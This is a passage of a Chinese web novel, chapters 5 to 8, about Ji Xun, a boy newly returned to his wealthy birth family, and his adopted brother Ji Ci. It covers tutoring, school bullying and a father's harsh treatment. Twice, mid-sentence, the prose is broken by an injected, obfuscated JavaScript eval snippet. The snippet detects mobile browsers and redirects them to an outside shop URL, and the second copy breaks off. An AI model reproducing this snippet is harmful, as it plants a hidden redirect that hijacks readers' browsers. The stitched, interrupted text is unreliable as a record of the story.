在李楠的想法里，爸妈就是孩子在这个世界上最大的依靠。在父母面前，不需要伪装，不需要坚强，想说就说，想提就提，他们同不同意是另外一回事。 季珣还在纠结着，又听到李楠说：“可惜咱们班连个学神都没有，不然还可以教教我们。” 季珣疑惑：“学神？” 李楠：“听说243班的都找季辞问问题。” “季辞？他会教同学么？” “会啊，校草哥哥那智商教咱们还不是手拿把掐。243班有不懂的都找他问，听说人只是看着高冷，辅导同学特别耐心。” 听着李楠的侃侃而谈，季珣心里冒出一个念头。 他是自己的哥哥，是不是也会辅导自己学习？ 5. 第 5 章 明天就是周末，周五的晚自习没有老师来辅导，但季珣依旧在教室，学习到九点半，才坐公交回家。 秋老虎过去之后，天气骤然变凉，校服已经有点凉。 但季家别墅有空调，每个角落都维持着最舒适的温度。 别墅里，除了忙着干活的张姨和王叔外，依旧看不到其他的人。 爸妈没有回来，那哥呢？ 想着白天和他遇到的事，季珣没吃饭，先走上二楼。 隔着半条走廊，对面的房间门下缝隙漆黑一片。季辞还没回来。 他会愿意教自己么？ 季珣满脑子都是这个问题。 原本只想解答不懂的知识点，但慢慢地，在白天的反复咀嚼中，“让哥哥教自己这件事”悄无声息地多了一层含义。 季珣迫切地想确认，自己到底是不是他口中所说的弟弟？ 看到季辞房间下漆黑的门缝，季珣只能放好书包，下一楼吃饭。 吃过饭，窝进自己的小房间里，翻开习题集，却有点静不下心。 笔尖在纸上焦躁地点着，反复看了几次墙上的时钟。 不知道他干嘛去了，这么晚都不回家。 季珣重新看向书桌上的习题集，拿起笔开始列解题步骤。 突然，听到外面传来脚步声，正沿着楼梯往二楼。 在空寂的深夜，穿过房间的门，轻忽地敲进耳中。 二楼只住着自己和季辞，是季辞回来了。 刚刚还迫切地想找他，此刻，想到要去问他问题，季珣顿时又紧张起来。 自己那么笨，他会愿意教自己么？ 但自己是他的弟弟。 想到这件事，季珣就觉得心跳有些快。 听着那道脚步走进房间，开门关门。 季珣鼓起勇气，拿着习题册走出房间，走到季辞的房间门口。 看着门下的缝隙里透着一线黄色亮光，季珣曲起手指，悬在门前，却又迟迟没有敲下。 最后，忍不住摸了摸他房间的门上雕刻着的花纹。 和自己的房间不一样。 这些花纹有很精致的细节。 好像和这个人有关的一切，都是这么漂亮完美。 正独自站在安静的走廊里踟蹰着，楼梯口传来带着急切的喊声：“小珣！” 张姨端着一只白瓷盅从楼下上来。 五十出头的阿姨看到季珣在季辞房间门口，快步走来，满脸讶异地问：“你要干什么？” 季珣有些无措，“怎么了？张姨，我想找我哥。” 张姨紧张地问：“你找小辞干什么？” “我想让哥教教我。” “不行！”张姨干脆利落地拒绝，“先生和夫人特意交代过，让我注意，别让你去打扰小辞学习。” 张姨扫了眼房间，“小辞现在正在学习，你别去打扰他。” “快回自己房间去吧。”张姨把手里的白瓷盅放在季辞房间门口的褐色斗柜上，按着季珣的肩膀，把人往楼梯口推了一把，才自顾自下楼。 季珣抱着习题集，站在自己房间门口，才反应过来，原来父母不让自己打扰哥哥学习。 是，自己那么差，他那么优秀，自己怎么能打扰他呢。 心口一凉，如同被针扎破的气球，季珣一下蔫了，连带着肩膀都塌了半截。 垂下头，慢慢走到自己房间前，正要伸手握住把手，身后先一步传来细微的开门声。 然后是温和的询问：“你要找我吗？” 季珣转头，看到隔着大半段走廊，季辞走到了房间门口，站在一块明亮的灯光中，看着自己。 心跳蓦然变快，忐忑得七上八下。 季珣局促地捏着手里的习题集，小声解释：“我有不懂的地方，想让你教教我，但张姨让我别打扰你学习。” “不打扰。”他走过来，问：“哪里不懂？” 季珣赶紧翻开习题集，找到地方，仰起脸指给他看：“这类题我总是不会。” 他没有立刻去看题目，视线依旧停留在自己脸上。 让季珣忍不住攥紧手指，心里越来越紧张。 是因为问题太简单他觉得自己太笨？ 还是觉得不应该在自己身上浪费时间？ “如果你不方便，我再去自己想想？”季珣窘迫地想从他手里抽走习题集，却发现习题集紧紧地被他压在手里，没有成功。 季辞敛起眼里的情绪，笑了下，“当然方便啊。” “走廊光线不好，去你房间吧。” 季珣只觉得说不出的开心，赶紧带他进自己的房间里。 书桌前只有一张椅子，季珣想让他坐，被他握住一侧肩膀，按到椅子里。 “我站着讲。” 他撑住桌面，从季珣颈边探头，问：“这个题么？” “嗯。” 一个人太久，蓦然靠得这么近，季珣有些不自然。 他刚洗过澡，气息太过清晰。 湿润的、植物般清新的沐浴露气味，和自己在二楼公共浴室里用的不是同一种。 飘到鼻息间，给人干净又清冽的感觉。 “这个知识点是高中数学很重要的一个章节，如果掌握得不牢固，会影响后面的学习。”他讲得很细致，不但有公式的推导和分析，还有同类题型的分析。 他耐心地讲解：“所以，我们遇到这样的题目的时候，要一步步来。”边说，边在草稿纸上写下字迹漂亮的解题步骤，“你自己试着往后继续算一下。” 季珣拿起笔，跟着他的步骤继续往后算下去。 对比之下，自己的字只能勉强算是整齐清秀。 “是这样么？” 好一会没有听到回答。 疑惑地转头，在很近的距离触碰到视线。 季珣看到，撑着桌子站在自己身后的人，目光里带着打量，有些出神地凝注着自己。 季珣还记得，来到季家别墅的第一天，爸妈让自己站在这个男生面前，对自己说：这是季辞，虽然只比你大半岁，但就是你的哥哥，你要听他的。 那时候的自己虽然没说话，心里却因为多了个哥哥而无比开心。 眼前的男生眉骨挺拓立体，鼻梁挺拔笔直得就像一柄刀脊。 怎么会有这么好看的人，像是上帝精心雕琢的作品。 季珣看着他，他也看着季珣。 季珣不知道他在看什么，轻声喊：“哥。” 男生才敛起眸光，垂眼看向习题册，随口问：“为什么一直看我？” 季珣一怔，感觉有些窘迫，但还是诚实地回答：“因为我以前没有亲人，现在不但有了爸爸妈妈，还有了哥哥。” 他浓密的眼睫垂落，又轻快抬起，打量几眼，“对哥哥满意么？” 他眼里的调笑让季珣有点局促，低头避开视线，用点头代替回答。 “季达强的儿子，怎么一点都不像。” 季珣不知道他为什么要这么说，茫然地抬眼。 他折着手臂撑在桌面上，没有动。彼此之间的距离比刚才更近了些。 潮湿的气味和沐浴露的香气愈发清晰，干净纯粹。 季辞的视线直勾勾的，笑意停在唇边，眼里却看不到波澜，“我们是兄弟，应该很亲密才对。” 季珣想起这几天发生的事，小声说：“谢谢哥帮我解围，还教我做题。” 他瞳眸漆黑如墨，隐隐跳动碎光，笑容带着些意味深长，“那弟弟你呢？” 季珣还是听不懂他的话，“什么？” “你怎么对哥哥？” 季珣茫然地看着他眼睛里的笑意，说出自己的心里话，“你要我怎么样，我就怎么样。” 他确认般重复，“我要你怎么样，你就怎么样？” 季珣点头。 他没有和亲人相处过，只觉得，季辞是哥哥，自己理所应当像爸妈交代的那样，听他的话。 对面的男生笑了下，直起身，拉开彼此距离，“还有不明白的么？” 季珣摇头，“暂时没有了。” “那就这样。” 他放开撑在桌上的手，转身离开。 季珣忍不住一直看着他开门关门，身影消失，才收回目光。 草稿纸上还有方才写下的漂亮字迹，空气里也好似还漂浮着沐浴露的气味。 哥哥刚刚离开。 - 早上起床，季珣发现房间的窗户上覆盖上了一层白白的雾气。 用手抹开，才看清外面灰蒙蒙的天空。 打开窗户，冷空气争先恐后地涌入房间。 外面的气温越来越低，树枝上的叶片也开始飘零。 季珣打开自己的单门小衣柜，拿出平平整整挂在里面的一件白色的套头毛衣。 这件白色的毛衣是季 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季珣赶紧告诉自己，不一起去学校，也不能让同学知道自己和他的关系，他不该等你吃早餐。 赶紧走到餐桌边，一个人飞快地吃过早餐。 收拾好餐具，正要出门，刚把季辞送到学校的王管家匆匆忙忙走进客厅，看到季珣，露出惊喜的神情，“小荀。” 季珣站住，“怎么了，王叔。” 王叔走到柜子边，拿了一只瓶子递过来，“正好，阿辞的药忘了带，请你帮他带去吧。” “嗯。”季珣接过来，看了眼瓶子，上面都是看不懂的韩文。 之前就看到过季辞吃很多药，他到底哪里不舒服？ 没有手机，也没法查这是什么药，不能让同学知道自己和季辞的关系，季珣甚至不敢把瓶子从书包里拿出来。 不知道要怎么把药给他。 直接去他们班找肯定不行。 不过，今天是周三。 季珣想起，今天上午最后一节课是体育课，而且是和季辞所在的243班一起上。 自己可以在体育课上找机会给他。 打定主意，上午第三节课下课，季珣偷偷把给季辞带的药揣进口袋里，和李楠往操场走去。 高三的学生，学习占据了生活的全部，学校要求上体育课其实就是强制活动，没有安排教学内容。 上午十点半，操场上阳光正灿烂。 篮球碰撞的咚咚声和学生的嘈杂呼喊间断传来。 两个不知高一还是高二的女生，经过身旁，小跑着往球场去。 “快点快点啊。” “急什么？” “去看季辞他们打球，一会要上课了！” 上课铃还没响，季辞他们已经在球场上打全场，周围围了不少学生。 季珣和李楠也围过去。 季辞穿着白色的短袖篮球服，露出胫骨分明的小腿和线条流畅的小臂。 不知是不是学过，外加他个子高，四肢又修长，运球、上篮、跳投，每个动作都被他做得恰到好处的潇洒漂亮。 “这里！” 传来的篮球被骨节清晰的手指稳稳托住。 然后转身过人，在二分线处跳投，篮球从指尖抛出，在阳光下划过一道弧线，钻入篮筐。 衣摆随着动作，往上扬起时，还能看到紧实分明的腰腹肌肉。 场边围观的同学都在欢呼尖叫。 “啊啊啊，进球了！” “季辞好帅！” 阳光下，汗水沁出，他看上去帅气而充满朝气。 季珣从来没有打过篮球，也很少运动，他的汗水都滴落在了工地里。一袋水泥放在背上，像虾米般佝偻着背脊，咬着牙，一步步往前挪动，汗水一滴滴砸在地上的土里。 如今，虽然都是季家的孩子，住在同一个屋檐下。但截然不同的人生轨迹却在彼此身上刻下了鲜明的印记。 季珣其实很羡慕季辞，他虽然不是爸爸妈妈的亲生儿子，但从小在父母的爱里成长，让他可以像普通学生一样，尽情地享受阳光。 正愣愣看着，李楠伸头过来：“在看什么？”周围都是议论季辞的声音，他随口问：“你也看季辞吗？” 6. 第 6 章 季珣赶紧摇头否认：“没有，我没看季辞，我怎么会看季珣。” 李楠粗线条，也没注意他这点心虚。反而旁边，听到有人轻蔑地哼笑出声。 原来刚才李楠的话被就站在不远处的蒋恪知那三个择校生听到了。 挤眉弄眼地瞥着季珣，毫不遮掩脸上的嘲弄。 季珣很讨厌这三个人，拉着李楠走远了。 来到南城两个月，其实季珣特别庆幸自己能遇到李楠。 李楠成绩也不太好，跟自己一样坐在最后一排。 他初中不是在南城读的，不像其他人有初中的朋友，季珣来之前，也常常一个人，算得上同是天涯沦落人。 他不是一个很会和人相处的人。 应该说，过往的生活，让他没有机会去学习怎么和人打交道。 明明也想和周围的同学打成一片，和他们成为朋友，可一想到自己在他们眼中就像异类，他就退缩了。 他害怕被他们讨厌。 就像害怕被爸妈讨厌，被季辞讨厌。 离开那三个择校生，季珣和李楠走到篮球场旁边的空地上打羽毛球。 他以前很少参加集体活动，本来就打得不熟练，兜里又揣着季辞的药，时不时要注意旁边篮球场的情况，总是掉球。 李楠无奈，“算了算了，我跟方力玩吧。” 季珣窘迫地把球拍给另一个同学，站到旁边。 现在能干的事只有专心等待季辞。 已经上课，围观的学生散去，篮球场那边一览无余。 半个小时后，季辞他们结束球赛。季珣看到他对朋友说了几句话，一个人走进了操场角落的器材室。 周围的学生都在各玩各的，没人会注意这边。如果器材室有人，就假装去找东西。 季珣打定主意，远远地跟着季辞走进器材室。 里面满是铁架子，上面摆放着各种运动器材。 季珣沿着中间的过道走到最里面，才看到季辞一个人背身站在架子前，整理着东西。 他拿起一个没放对地方的篮球，在手里交换抛接几次，扬起手腕，投进对面放篮球的木箱里。 季珣远远停下，小声喊，“哥。” 季辞回头看到跟进来的人，扫了眼外面，“你跑来干嘛？” 季珣不想他像上次学校遇到一样误会自己，赶紧拿出一直揣在裤兜里的药，“哥，你今早忘记带药了，王叔让我给你。” 他看向季珣手里的药，走过来抽走药瓶，直接打开，倒出三四粒小药丸，就着手里的矿泉水，仰头就把药丸吞了下去。 季珣前几天就看到过，他吃很多药，像饭一样，一大把一大把地吞，忍不住问：“哥，你哪里不舒服么？” 季珣拧上瓶盖，“你要干嘛？” 每次他质疑自己，季珣就会紧张。 相比融入同学，季珣最想的是融入季家。和爸妈像普通的父母孩子一样相处，和季辞像普通的兄弟一样相处。 他想让父母满意，可是父母培养出来的儿子季辞如此出类拔萃，让他觉得惭愧又无力。 他想让哥哥满意，却不知道哥哥会不会接纳自己，只敢小心翼翼。 “我想知道你哪里不舒服。” 空气静了片刻。 季辞伸手撑在旁边的器材架上，展开眉眼笑了下，“你很关心我么？” 季珣小声解释：“因为你是我哥。” 季辞视线停驻片刻，才抬了下唇，“哦。” 他不告诉自己哪里不舒服，药也已经送到，季珣知道自己应该赶紧回到操场，免得被人看到。转身想走，又被他喊住：“等会。” 他伸手从旁边盒子里拿了东西，然后冲季珣折起小臂，“来都来了，帮我贴下创可贴吧，这个位置单手不好操作。” 季珣这才注意到他小臂上有一道细细的血线。是刚才打篮球时候伤到的？ 看季珣不动，他不悦，“怎么？不帮？不是说我是你的哥哥，我让你怎么样，你就怎么样？” 季珣赶紧摇头，“我帮。” 走到回去，接过他手里的创可贴。 器材室暂时静下来，篮球场上的嘈杂不甚鲜明地涌进来。 拆开包装，抽出里面的创可贴，忍不住想去看看他的神情，抬起目光，又像之前一样，撞进他的瞳眸里。 他眼眸漆黑，像一团浓稠的墨。正垂着头专注地凝注自己，就好像贴创可贴是件多么有趣的事情。 两个人触碰到视线，他没有避开，眸光闪动细微的笑意，开口：“我刚看你打羽毛球不太熟练？” 季珣一怔，他刚刚不是在打篮球么？怎么会知道自己打羽毛球不太熟练。 难道，他一直注意着自己？ 心跳急促一下，季珣抿了抿唇，回答：“我以前很少玩。” 他问：“要不要哥改天教你？” 季珣心跳得更快了，声音也小小的，“谢谢你，哥。” 心里说不出的开心。 原来这就是哥哥，会辅导自己做作业，会教自己打羽毛球。 季珣低头，帮他贴创可贴。 他从小在季家长大，生活优越，健康高大，皮肤是养尊处优的冷白，小臂上覆盖着健康流畅的肌肉，线条很好看。 刚把创可贴压在他手臂上，层层叠叠的器材架后传来说话声。 “一会去买喝的吧。” “小雪好像出新品了，我要去尝尝。” 有人走进了器材室。 如果他们看到自己和季辞在一起，会发生什么？ 季珣心里一阵慌乱，正无措地四下乱看。 手腕被握 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季珣才发现他已经松开了自己，反而是自己紧紧捏着他的手指。 慌乱地赶紧放手，不敢看他的眼睛。 片刻后，头上落下一句意味不明的低笑。 “我先走了，你躲回再出来。” 他交待了一句，先离开了器材室。 外面传来刚过来的他的朋友的吐槽：“去那么久，你特么在里面干嘛？” 季辞若无其事地回答：“打了把游戏。” “有病啊，等你半天。” 继续站在器材架后等了一会，季珣才小心地走出来。 马上就要下课，操场上的学生三三两两的散开。 李楠看到他回来，问：“你去哪里了？” “我……”季珣没法像季辞那样随口就编出一个借口来，正在想着怎么解释。 旁边，传来蒋恪知的声音，“季少爷嘛，我刚看到了啊。”他睨了眼运动场角落，“跑器材室去了呗。” 季珣呼吸一滞，心跳几乎涌到喉咙。 蒋恪知看到自己去器材室了？ 那是不是也看到了自己找季辞？ 李楠不明所以，“季珣，你去器材室干嘛？” 蒋恪知插着兜，眼睛扫描仪似的在季珣脸上扫过，笑容得意，“说来听听，跑去器材室干什么？” 季珣心虚地反驳：“不关你的事。” “你不会是偷偷去找243班的季辞吧？”蒋恪知的眼珠子都快掀到天上去了，“看着老老实实的，还挺敢想。” “没有，我不认识季辞。” 择校生歪着头，笑嘻嘻地说道：“反正人家也不会理你。” 7. 第 7 章 蒋恪知在季珣这个“差生”面前，满满的优越感，“要我考出三五十分的成绩，我一头撞死。” 其实，蒋恪知的一模总分比季珣高不了多少，只是他成绩相对平均，没有像季珣这样特别低的科目。 李楠早就看不惯这个烧里烧气的蒋恪知，天天盯着季珣欺负了，“能不能别烧了？多关心关心自己二模会不会被送进涅槃组吧！” 三中高三虽然周末不补课，但为了学校的整体升学率，还是会为后进生安排周末集中学习，被学生们授予了电竞比赛里的某个亲切昵称，“涅槃组”。 涅槃组都是三中倒数的学生。 被安排到涅槃组里，挺丢人的。 这句话戳到蒋恪知的痛脚，男生顿时臭了脸，“你说尼玛。”李楠爽了，也懒得再和他吵，带着季珣离开了。 季珣其实也想为自己争辩，可是一涉及季辞，他就很心虚，紧张得不知道说什么好。 爸妈反复警告过，不能让人知道自己和季家、和季辞的关系。 如果因为自己让同学们知道，会发生什么？ 父母冷肃的目光，季辞生气的模样。 季珣不敢细想。 别再露出马脚，好好读完高三就好。 - 这段时间，只要有不懂的，季珣就会找季辞问。 他讲解得耐心又细致，直到自己全都明白。 每次和哥哥待在安静房间里，看着他漆黑的眼睛，听着温和低沉的声音，时而还有弥漫在鼻息间刚洗过澡的潮湿和沐浴露香气。 季珣就会恍惚觉得，过去十八年无数次出现在梦中的遥远画面，如今就在触手可及的地方。 下晚自习，回到家。季珣刚打开花园门，穿过水景精致、植物茂盛的花园，就听到客厅传来说话声。 是爸妈回来了。 从乡下回来这段时间，没有见过爸妈几次，之前，他很期待见到爸妈。 但想到上次被爸爸责备，季珣的脚步顿在明亮的客厅门口。 客厅里传来两夫妻的对话。 “达强，季康今年就回来了。” 季达强声音冷沉，“季康就是个蠢货，只不过是占了季家人的种。” 苏曼叹息：“阿辞很优秀，可惜……” 可惜什么？ 季珣听不懂，正茫然地杵在门口，突然有人从身后握住自己的肩膀。 季辞吓了一跳，回头看到是季辞，“哥。” 身后的男生扫了眼客厅，“准备躲到什么时候？” “我……没躲。” “害怕？”他冲季珣扯了下唇，“没必要，习惯就好。” 习惯就好？ 这是什么意思？ 说完，季辞推门走进客厅，“爸妈。” “阿辞，回来了。” “嗯，去书店买了几本书。” “吃饭了么？”苏曼关切地问。 “吃过了。” 季珣跟在季辞身后走进客厅，“爸、妈。” 看到季达强冷厉的视线，季珣就满心惊惶。 “过来。”季达强点起雪茄，“何秘书已经去你们学校，见过你们班主任了。” 季辞把张晖要和季珣父母沟通的事告诉了季达强。 季家在南城是豪门，为了不让人知道季珣是季家的孩子，季达强安排了自己的秘书，充当季珣的父亲，去见张晖。 “你们班主任说你顶撞老师，不想读书？” 季珣那天并不是有意顶撞老师，赶紧解释：“爸，不是这样的。” “我告诉你，我花钱送你进三中，是要看到你拿出成绩，不是让你去学校耍威风。” 像是一场暴风雨劈头盖脸地洒在身上，季珣满心惊惧，低着头不敢看面前的父亲，“爸，我没有顶撞老师，也没有耍威风。” 季珣不知道要怎么解释那天的事。 自己只是没办法把爸妈的电话给张老师，没办法写出自己的家庭地址，并不是有意顶撞张老师。 对，那天哥也在，他解释的话，爸爸会相信的。 季珣惶然地抬头去找季辞。 看到他给自己倒了杯水，慢悠悠地喝着，仿佛没有注意到眼前父子两的冲突。 季达强站起身，略显焦躁地在客厅踱步，“要是让老头知道我季达强的亲生儿子是个废物，季家的家产，我想都别想了。” “我要看到的是你拿出成绩，考个拿得出手的大学，你懂么？不然，我要你这个儿子有什么用？” 孙子、家产。 这些东西季珣一句都听不懂，懵懵地抬起头，“爸，我就是你的儿子。” “你个小废物！还敢顶嘴！” 季珣只是说了一句实话，不知道怎么戳到季达强的肺管子，季达强瞬间震怒，高高举起巴掌。 从小到大他挨了数不清的打，学校里的小混混，工地上的大老粗，阴恻恻地笑着，对他随意打骂，拳脚相加。每次他都只能蜷缩在地上，任凭雨点般的拳脚砸在身上。 没有亲人，没有朋友。没有人会心疼他，怜惜他，帮助他。 又要挨打了。 深藏在心里的惊惧让他本能地后退，躲避。 身后就是茶几，季珣踉踉跄跄地被绊倒在地，手肘撞在大理石尖角上。 剧烈的僵麻让生理性的泪水瞬间涌了出来。 季珣咬紧牙关，把几乎就要脱口而出的呻吟忍了回去，用力呼吸，缓解着手臂的麻木和疼痛。 在朦胧的视线里，他看到季辞的目光终于落在自己身上，却视而不见地穿了过去。 季珣心里骤然涌上失落。 他不是自己的哥哥么？为什么不帮自己解释？ 幸好，巴掌没有落在自己脸上。 季珣慢慢抬起眼睛，看到母亲苏曼拉住了季达强。 “他本来就是这样，你打他有什么用，你就这么一个亲生儿子。”苏曼恨其不争地瞥来一眼，继续劝说：“他刚回来一个月，你还是有点耐心吧。” 季达强慢慢收回举起的手，压着怒火坐回沙发里，点了根烟抽着。 不用挨打了。 幸好，不用挨打了。 季珣握着手肘，站起身，感觉到掌心沁出了液体。 应该是出血了，赶紧捂得更用力，免得被爸妈看到。 旁边，季辞终于走到季达强身边，“爸，你消消气，弟弟已经在努力了。” “达强，耐心点。”苏曼索性看向季辞，岔开了话题，“对了，阿辞，你的驾照不是拿到了，看好想要的车了么？” 他语调温顺，乖巧地回答：“还在看呢，上次那辆去试了一下，觉得动力不太好。” “慢慢选，要选合心意的，不用在意价格。” 季珣用力地攥紧正在渗血的手臂，僵硬地站在旁边听着三个人开始闲散聊天。 许久之后，三个人的话题才结束。 时钟已经走过十一点半。 “爸、妈，你们早点休息。” “去吧。”季辞叮嘱了一句，看到季达强点头后，才转身走上二楼。 季达强径直离开，苏曼走之前，扫了季珣一眼，眼里都是失望。 两个人都离开，季珣紧绷着的背脊才松弛下来，向二楼走去。 松开手肘，看到手指被大理石尖角划破了一道口，鲜血黏稠地在指缝间凝固了。 季珣沿着走廊径直走到底，到卫生间把伤口和手指上的鲜血都冲洗干净，才回到自己的房间，找了件以前的旧衣服，从上面撕了条布条，紧紧地勒在伤口上，免得再流血。 这样的小伤，他早就习惯了，也知道怎么处理。 只是，仰面倒在床上的时候，脑中还是不可避免地回荡着今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154566|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚的画面。 父亲的责备和举起的巴掌，还有站在旁边的神情淡漠的季辞。 他明明知道真实的情形，为什么不帮自己辩解？ 又想起那天在运动场器材室里，他站在自己身前，握着自己的手，指腹轻轻地摩挲自己的手背。 他心里到底有没有自己这个弟弟？ 在各种混乱的念头中，迷迷糊糊睡去，第二天醒来时，绑了一整晚的手臂因为血液不流动，几乎完全麻痹。 季珣赶紧解开布带，缓了半天，手臂才重新恢复活动能力。 伤口已经没在出血，季珣也不再管，赶紧背上书包去学校。 刚走进教室，蒋恪知不加遮掩的嘲讽视线就扫了过来，“少爷来上学了。” “少爷有钱得很，怎么每天看着都这么寒酸啊。” “听说少爷很想认识一下咱们三中的学神，应该羡慕死人家拿高分了。” “这种三五十分的，学神认识他都嫌丢人。” 季珣知道蒋恪知他们已经把自己当作了取笑霸凌的对象，想为自己争辩。可是想起昨晚季辞冷漠的模样，又丧失了辩解的力气，默默坐回座位上。 其实，他只想安安静静读完高三，考一个还不错的大学。 他不想再回到那阴暗的泥沼里。 昨晚被大理石划的伤口不算特别长，但挺深的，又在手肘位置上，一上午上课做笔记折着手臂写字，伤口又开始渗血。 下课，季珣陪李楠去卫生间，顺便冲洗一下。 李楠看到他的伤口，关切地问：“怎么弄的？看着挺深，怎么不处理一下，贴个创可贴包扎一下？” 也许是习惯这样的磕磕碰碰，季珣完全没想过要认真地处理一下伤口。 “在茶几上划了一下，不严重。” 李楠啧啧两声，“这么深的伤口还说不严重，难怪人家说你不像有钱人家的少爷。” 季珣也没有辩解，检查着自己的伤口，跟着李楠往教学楼尽头的公共卫生间走去。 这个时间点，卫生间里都是人。 “昨晚那场球你看了没有？最后那个三分绝了。” 季珣刚觉得这道声音熟悉。 抬起头，就看到季辞站在自己面前。 总在一起的朋友正和他说着话，从卫生间走出来，被低头往里走的自己拦了一下。 季珣知道在学校里该怎么面对他，垂眼道歉：“对不起，同学。” 向旁边挪了一步。 又忍不住掀起几许视线，觑向高个男生。 看到他偏着头，垂下的视线落在自己的手肘上。 片刻停留后，才抬脚和朋友离开。 季珣心里莫名一紧。 他在看自己的伤口么？ 他会怎么想？ 又赶紧驱散这些无谓的猜测和念头。 他看到又能怎么样，不过就是个小伤。 用冰冷的水冲洗了一下伤口，从卫生间出来，和李楠去食堂吃过饭。 中午还有一个小时的时间，有些同学会出学校逛逛，也有同学申请了宿舍午休。 李楠出去买奶茶，季珣直接回教室看书。 走进午休时间空无一人的教室，走到自己坐的最后一排。 看到桌面的时候，季珣的心跳蓦然一下像是掉落的玻璃弹珠似的，怦怦响个不停。 仓皇地朝周围张望，迅速把桌上的东西塞进桌空。 虽然教室里没有人，但他还是缓和了好一会，才把东西重新拿出来偷偷地看。一盒创可贴和一根草莓味的棒棒糖。 是午休时有人放在自己桌上的。 季珣一瞬间就想起，刚在卫生间门口遇到时，季辞注意到了自己的手肘。所以他给自己买了创可贴和棒棒糖偷偷放在桌上。 哥哥会不会也在后悔，昨晚没在爸妈面前帮自己解释？ 8. 第 8 章 季珣拆了两片创可贴把自己的伤口贴好，又把那枚橙子味的棒棒糖小心地放在书包里。 明明只是一根棒棒糖，可一下午上课，总觉得书包里好像揣了个被人惦记的宝贝，时不时就忍不住把手伸进书包，用指尖拨弄。 今天周五，刚好不上晚自。下午一放学，季珣就赶紧出学校坐公交。 跑进家里，客厅里照旧空落落的。 看到王叔从花园进来，季珣期待地问了一句：“我哥回来没有？” “小辞还没回来。” 他虽然不上晚自习，但晚上回家的时间一直不定。 他成绩那么好，也很有钱。去书店看书，去哪里条件好的地方学习，终归肯定是正事。 自己一个人吃了饭，回到房间，又把那根棒棒糖拿出来翻来覆去地了看半天，才坐起来，开始学习。 不知不觉，看到深夜，突然听到熟悉的脚步声，隔着房间门，轻忽地传来。 是哥回来了。 季珣心里霎时雀跃起来。 想出去找他，看到墙上的挂钟已经凌晨十二点了。 他这么晚才回来，肯定累了，明天是周末，明天再去找他好了。 想专注在习题上，可是又想起昨天，爸爸误会自己，他却没有开口替自己解释。 心脏好似又坠落了下去。 季珣的笔尖点在书页上，半天没落下去，重新拿起那根棒棒糖，在指尖转着看。 突然，咚咚—— 房间门在寂寂的深夜里被敲响。 季珣的心也像是被敲门声撞了一下，瞬间跳到嗓子眼，无意识地抛下手里的棒棒糖。 自从回到季家，住进这个小房间，这扇门还没有人来敲响过。 敲门声又不慌不忙地响了几声，季珣才回过神，赶紧站起来，打开门。 季辞已经洗过澡，换了身在家里惯常穿的白色T恤和短裤。 头发还没吹，湿漉漉地垂着。 他一只手抓着脖颈上的毛巾，揉着头发，另一只手里提着一个小的白色塑料箱。 虽然知道是他，但看到人，季珣还是满心欢喜，“哥。” 他扫了眼季珣的手，温和地开口：“看到你房间门还亮着，过来看看，你伤口怎么样？” 季珣赶紧举起手给他看，“我把创可贴贴上了。” 怎么说得像炫耀似的，季珣脸热了热。 十八九岁的人，总不会连个创可贴都不会贴。 门口的男生抬了抬唇角，走进房间。 房间里只有一把椅子，他放好塑料箱，在床上侧身坐下，拍了拍身旁的位置，“过来坐。” 季珣乖乖走过去。 他示意床，“上来。” 季珣脱下拖鞋，把腿收到床上，在他对面坐着。 “把手给我。” 季珣不知道他要干什么，听话地伸手。 他皱眉，“另一只。” 季珣乖乖换了另一只，伸到他面前。 季辞用手指握住，翻转过来，露出手肘上的伤口。 手肘这道划伤有点深，今天一直在渗血，贴在上面的创可贴都被浸透了。 “怎么不告诉我？”他说着揭掉上面洇湿的创可贴，打开箱子。 看到里面处理伤口的各种药品和纱布。季珣意识到，他是要帮自己处理伤口。潜意识里不想让他麻烦，不自觉地缩手，“我没事的。” 握在手腕上的手指收紧，季珣没能缩回去。 对面的男生抬眼问：“怎么了？” 季珣轻声解释：“这么小的伤，不用麻烦，我已经有你给的创可贴了。” 他微微沉下脸，“不听话？” 感觉到试图收回的手不动了，他才露出满意的笑容，低头，用棉签蘸着碘伏，慢慢点涂在伤口处。 已经深夜十二点，季家的别墅远离闹市，隔绝了城市车水马龙的嘈杂。 房间的窗户也全部关好。 安静中，季珣听到两道呼吸，各自起伏，却有种奇异的安宁。 他的过往永远在动荡和不安中，哑巴大爷去世前，每天都要担心大爷的身体，想办法为他找医生。大爷去世后，要忙着赚钱还债，养活自己，连梦里都在想着微信余额里那几块几毛几分。 ——之前他用大爷的烂手机，回季家后，那个手机和其他东西一起被丢了。现在回家了，一切都有人打点好，他也不需要手机。 还有读书，他知道，不读书，他就只能一辈子烂在泥里。所以，不管多难，他都咬牙待在学校里。 眼前帮自己消毒伤口的男生，五官俊朗，身量高大，手臂和小腿肌肉线条流畅，握着棉签帮自己仔细擦拭的手指，修长又干净，手背上能看到清晰的血脉蜿蜒。 这是一只充满力量的男生的手。 以前，自己无数次被这样的手伤害，但此刻，眼前这只手却轻柔温情地替自己擦拭伤口。 他擦拭着，不时掀起眼睫觑来，就像一缕依稀可辨的关切。 季珣想得出神，看得也出神。 哥哥怎么这么好，他对所有人都那么好么？还是，这只是给予自己这个弟弟的特殊关爱？ 之前还会想起昨天父亲误会自己的时候，他冷眼旁观的画面，此刻，季珣自己帮自己找到了解释。 他不解释是对的，那个时候的情形，他的解释，只会把父亲的怒火引到他身上。 至少，现在父母只生自己一个人的气。 季辞开口，打破了房间里的安静和季珣漫无边际的思绪，“下次遇到什么事要告诉我。” 季珣赶紧收敛视线，“嗯。” 他又找了个比较大的创面敷贴，覆盖在擦完碘伏的伤口上，贴得平平整整，没有一丝褶皱。 让季珣忍不住看了又看，小声说：“谢谢哥。” 想收回手，发现对方的手指依旧不轻不重地握着，不让自己挣脱。 他微微俯身，神情疑惑地问：“怎么感觉你很怕我的样子？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 